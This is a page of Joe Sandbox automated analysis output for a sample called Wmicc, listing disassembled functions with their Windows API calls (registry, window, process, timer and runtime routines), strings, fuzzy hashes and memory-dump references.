Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 13aa221c36ae6abe3348d97833447f3824e6e4c24b26cd0179bb4122a331bd5e
Instruction ID: 789cfdf17bbed732d9ae10e30c94a96106eb699a61541103620199a372636088
Opcode Fuzzy Hash: 13aa221c36ae6abe3348d97833447f3824e6e4c24b26cd0179bb4122a331bd5e
Instruction Fuzzy Hash: FB41B3306043419FC720EF26C848A9FBBE9EFC1B05F100A1EF89592251DB79C986CB5A

Function 0041C145 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?,?,00000000), ref: 0041C173
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 0041C196
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?,?,00000000), ref: 0041C1B5
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0041C1C5
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0041C1CF

Strings

software, xrefs: 0041C15D

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 43d68a47b1197ac9111f8299e186f676692f424992e39995109c5f21263cf64e
Instruction ID: 5a4ca6197cf5cc14e8100182a3bf9a47461d35334f5b2c0fc34f08b7974aeb11
Opcode Fuzzy Hash: 43d68a47b1197ac9111f8299e186f676692f424992e39995109c5f21263cf64e
Instruction Fuzzy Hash: C411B676D40259FBCB11DB96CC88DEFFFBCEF89704F1440AAE904A2122D6715A40DBA4

Function 004079C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65processsynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32 ref: 004079D2
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,?,00000000), ref: 00407A51
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00407A6A
CloseHandle.KERNEL32(00000000), ref: 00407A7B
CloseHandle.KERNEL32(?), ref: 00407A82

Strings

D, xrefs: 004079CA

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateInfoObjectProcessSingleStartupWait
String ID: D
API String ID: 2246201701-2746444292
Opcode ID: a2acf23c82852d5c4a2192d910074d8228842b94998c42b792deb11fbae5e9f8
Instruction ID: b3f8c0d25dc6e4384aadd73fc13fcafbd3b41410d5e44b10a953e9d66c07e05b
Opcode Fuzzy Hash: a2acf23c82852d5c4a2192d910074d8228842b94998c42b792deb11fbae5e9f8
Instruction Fuzzy Hash: 52214C7460C340ABC2208F09C88895FFBF9EFC5744F50892EF58193260D3B9A94ACB5B

Function 0040BCD7 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 61stringCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 0040BD15
GetSystemMetrics.USER32(00000000), ref: 0040BD2D
GetSystemMetrics.USER32(00000001), ref: 0040BD34
lstrcpyA.KERNEL32(?,DISPLAY), ref: 0040BD58

Strings

B, xrefs: 0040BCF6
DISPLAY, xrefs: 0040BD52

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: B$DISPLAY
API String ID: 1409579217-3316187204
Opcode ID: de8f78e1fe89559d6c1b2ae54e5602e1a89713bf019b1416ab5d1259ca559097
Instruction ID: f76dd45b02c7a5b24f5ee9fe930e82be53a4244bad23ff09de42f2c8fda396a0
Opcode Fuzzy Hash: de8f78e1fe89559d6c1b2ae54e5602e1a89713bf019b1416ab5d1259ca559097
Instruction Fuzzy Hash: 2111A071601324ABCB219F65DC84A9BBFA8EF09B50B008077FC09AA195D7B5D940CBEC

Function 004193B4 Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 004193C0
GetSysColor.USER32(00000010), ref: 004193C7
GetSysColor.USER32(00000014), ref: 004193CE
GetSysColor.USER32(00000012), ref: 004193D5
GetSysColor.USER32(00000006), ref: 004193DC
GetSysColorBrush.USER32(0000000F), ref: 004193E9
GetSysColorBrush.USER32(00000006), ref: 004193F0

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: d88b09ac252da73f891740ec1b7320a69f81b9f4efadb9fb939cbc4baf472781
Instruction ID: 5df0253160905df65eb0b77d7cf96cc21956038276a97d2f1558852aa9bc947e
Opcode Fuzzy Hash: d88b09ac252da73f891740ec1b7320a69f81b9f4efadb9fb939cbc4baf472781
Instruction Fuzzy Hash: D4F0F8719407489BDB20AB729D09B47BAE4FFC4B10F02092EE2858BA90E6B5A400DF54

Function 004040DE Relevance: 9.3, APIs: 6, Instructions: 334windowthreadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00404127
GetTickCount.KERNEL32 ref: 00404188
FindWindowExA.USER32(00000000,00000000,00000000,00000000), ref: 004041F8
IsWindowVisible.USER32(00000000), ref: 00404240
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00404282
GetParent.USER32(00000000), ref: 004042BA

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Window$CountTick$FindParentProcessThreadVisible
String ID:
API String ID: 4104513660-0
Opcode ID: 79164eb4865279ce0e14b03b72b38077dc154b33c0b1a934a1178aadc79d616e
Instruction ID: 9df56707ce5dcd7298390f17e7be91d2e8e5f3513baec244590249839846a353
Opcode Fuzzy Hash: 79164eb4865279ce0e14b03b72b38077dc154b33c0b1a934a1178aadc79d616e
Instruction Fuzzy Hash: 42B14DB0E04209EBEF10DFA5DC46BAF7674AB84754F10407AFB14BA2C0D3799951CB9A

Function 0041BA5D Relevance: 9.1, APIs: 6, Instructions: 85memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00575AE8,00000000,?,?,?,0041BCC5,00575AE8,00000000,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB), ref: 0041BA68
EnterCriticalSection.KERNEL32(?,00000010,?,?,?,0041BCC5,00575AE8,00000000,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB), ref: 0041BAB7
LeaveCriticalSection.KERNEL32(?,00000000,?,?,?,0041BCC5,00575AE8,00000000,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB), ref: 0041BACA
LocalAlloc.KERNEL32(00000000,00000000,?,?,?,0041BCC5,00575AE8,00000000,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB), ref: 0041BAE0
LocalReAlloc.KERNEL32(?,00000000,00000002,?,?,?,0041BCC5,00575AE8,00000000,?,00000000,0041C09A,0041B474,0041C0B6,004158ED,0041A4CB), ref: 0041BAF2
TlsSetValue.KERNEL32(?,00000000), ref: 0041BB2E

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: AllocCriticalLocalSectionValue$EnterLeave
String ID:
API String ID: 4117633390-0
Opcode ID: 39ef61d69d6eecfc502476a57c3f34fe511a4b4d0209e98af06bb13598e86dbb
Instruction ID: ca07b30c8010df31d6bd98a2ab2e4cf4c7e6fc30947480c28bbf9a32293a9823
Opcode Fuzzy Hash: 39ef61d69d6eecfc502476a57c3f34fe511a4b4d0209e98af06bb13598e86dbb
Instruction Fuzzy Hash: 2731CC75200605EFD724CF66C899FAAB7E8FF443A0F00C52AE856C7690D778E845CBA5

Function 00417AA3 Relevance: 9.1, APIs: 6, Instructions: 82windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00417AA8
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00417AF5
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00417B17
GetCapture.USER32 ref: 00417B29
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00417B38
WinHelpA.USER32(?,?,?,?), ref: 00417B4C

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: MessageSend$CaptureH_prologHelp
String ID:
API String ID: 432264411-0
Opcode ID: 0be262300d3d26cfd4d239e4dd1a735222dd94e5a02959653763c81ecbb80096
Instruction ID: 08eed39cfef7e29b9c63f8f56964e19333c1e7675e98913124e09d763ee29768
Opcode Fuzzy Hash: 0be262300d3d26cfd4d239e4dd1a735222dd94e5a02959653763c81ecbb80096
Instruction Fuzzy Hash: A721B070640608BFEB206FA1CC8AEEA7BB9EF04748F10853EF152971E2CB759C409B14

Function 0041AF4B Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0041AF7E
GetLastActivePopup.USER32(?), ref: 0041AF8D
IsWindowEnabled.USER32(?), ref: 0041AFA2
EnableWindow.USER32(?,00000000), ref: 0041AFB5
GetWindowLongA.USER32(?,000000F0), ref: 0041AFC7
GetParent.USER32(?), ref: 0041AFD5

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: a976dff225e472dcc0c354c5a35d6cce508637628528e4a449e0425152e33d3f
Instruction ID: 60fda7fef18e4968bb3235b9bec6503bfdff79f5bafa389e5fa75f3f2c456683
Opcode Fuzzy Hash: a976dff225e472dcc0c354c5a35d6cce508637628528e4a449e0425152e33d3f
Instruction Fuzzy Hash: 2A11A3F26073255B86326F6A4C44BABB2989F51B61F05412AEC00D3344DB28DCA342EF

Function 0041A5BE Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0041A5CD
GetWindow.USER32(?,00000005), ref: 0041A5DE
GetDlgCtrlID.USER32(00000000), ref: 0041A5E7
GetWindowLongA.USER32(00000000,000000F0), ref: 0041A5F6
GetWindowRect.USER32(00000000,?), ref: 0041A608
PtInRect.USER32(?,?,?), ref: 0041A618

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: c39a9efe7b8ac685bb6b8c554d14240c29db2ff2df536009c33ccdff32edb9a5
Instruction ID: 7135c7d0673afaa21aa8618ab2725974d14be8d65ba24548452d8fcffddfe6b3
Opcode Fuzzy Hash: c39a9efe7b8ac685bb6b8c554d14240c29db2ff2df536009c33ccdff32edb9a5
Instruction Fuzzy Hash: 5D018F35101119ABDB119B659C08EEF776CFF09704F448432FD2192160D738CA628B99

Function 00404FD0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 138timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 004050D9
SetWaitableTimer.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,0040161D), ref: 0040511F
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,FFFFFFFF,000000FF), ref: 00405160
CloseHandle.KERNEL32(00000000,?,?,?,?,0040161D), ref: 004051AD

Strings

`, xrefs: 00405077

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: TimerWaitable$CloseCreateHandleMultipleObjectsWait
String ID: `
API String ID: 1829838203-1850852036
Opcode ID: 5706f9c963f8d35048ce060d0aadfd2886a9cfcce46d62d4b080bcdee6935d2b
Instruction ID: 49c6e70a6795ac8b77e899bd1092b775b508e9a0cb718548f5fe7e33b8ebd621
Opcode Fuzzy Hash: 5706f9c963f8d35048ce060d0aadfd2886a9cfcce46d62d4b080bcdee6935d2b
Instruction Fuzzy Hash: 22515970E05709EBEF109F51D9467AEBB70EB04304F108076EA047A2C1D7B99A64DFAB

Function 0040F076 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0040F095
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 0040F0CA
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0040F12A

Strings

__MSVCRT_HEAP_SELECT, xrefs: 0040F0C5
__GLOBAL_HEAP_SELECTED, xrefs: 0040F104

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 8aefdeff49c0c32c725ff0a92e101d0394c5f01827ab3a25d170d681dbad31f0
Instruction ID: 44fb241bada54540be5c1ccc1dceb2ddecf39ebf3e62bd46b1d189b072cb4d67
Opcode Fuzzy Hash: 8aefdeff49c0c32c725ff0a92e101d0394c5f01827ab3a25d170d681dbad31f0
Instruction Fuzzy Hash: A0312872945248FDEB319670DC45ADB37689B06704F6404FBD544FAAC2E23C9ECE8B19

Function 00404E1B Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105librarystringloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00404E4A
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00404E7E
lstrcpyn.KERNEL32(00000000,00000000,00000000), ref: 00404F02

Strings

kernel32.dll, xrefs: 00404E43
GetSystemWow64DirectoryA, xrefs: 00404E74

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProclstrcpyn
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 2801827026-4063490227
Opcode ID: 0cb3f1a49c4a2b2166e20673c0daf2de2a36cb3f36e94f2660d49374f6e0badc
Instruction ID: c7df2e5ba39bee57d36047880b6fd0c7f6d5953c4b6242e3014500e8ad8761dc
Opcode Fuzzy Hash: 0cb3f1a49c4a2b2166e20673c0daf2de2a36cb3f36e94f2660d49374f6e0badc
Instruction Fuzzy Hash: B63153B0E45309BBEF109FD1DD46BEEBAB4AB04700F104479FA047A2C1D7B957149B9A

Function 0041758D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 00417646
GetWindowLongA.USER32(?,000000FC), ref: 00417657
GetWindowLongA.USER32(?,000000FC), ref: 00417667
SetWindowLongA.USER32(?,000000FC,?), ref: 00417683

Strings

(, xrefs: 00417631

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 00000037.00000002.2250967354.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251496926.000000000041E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253025600.0000000000562000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000565000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000577000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253132270.0000000000579000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000037.00000002.2253550813.000000000057A000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_55_2_400000_Wmicc.jbxd

Yara matches

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: 76921ab4ed2127e36be2edef4fb8442b6fe2863e55e1eda883fabd38dc2eb338
Instruction ID: 0ab010480682ed55953cdf12a9602af7abde5d1d00950a1fda8ff0f4f242069c
Opcode Fuzzy Hash: 76921ab4ed2127e36be2edef4fb8442b6fe2863e55e1eda883fabd38dc2eb338
Instruction Fuzzy Hash: 0031A371604704AFDB20AF69C844B9EBBF5BF44314F15462EE54297B91DB38E884CF98

Function 0041C8E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0041C919

Part of subcall function 0041CA05: lstrlenA.KERNEL32(00000104,00000000,?,0041C949), ref: 0041CA3C

lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0041C9BA
lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0041C9E7

Strings

.INI, xrefs: 0041C9E1
.HLP, xrefs: 0041C9B4

Memory Dump Source

Source File: 00000037.00000002.2251338267.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

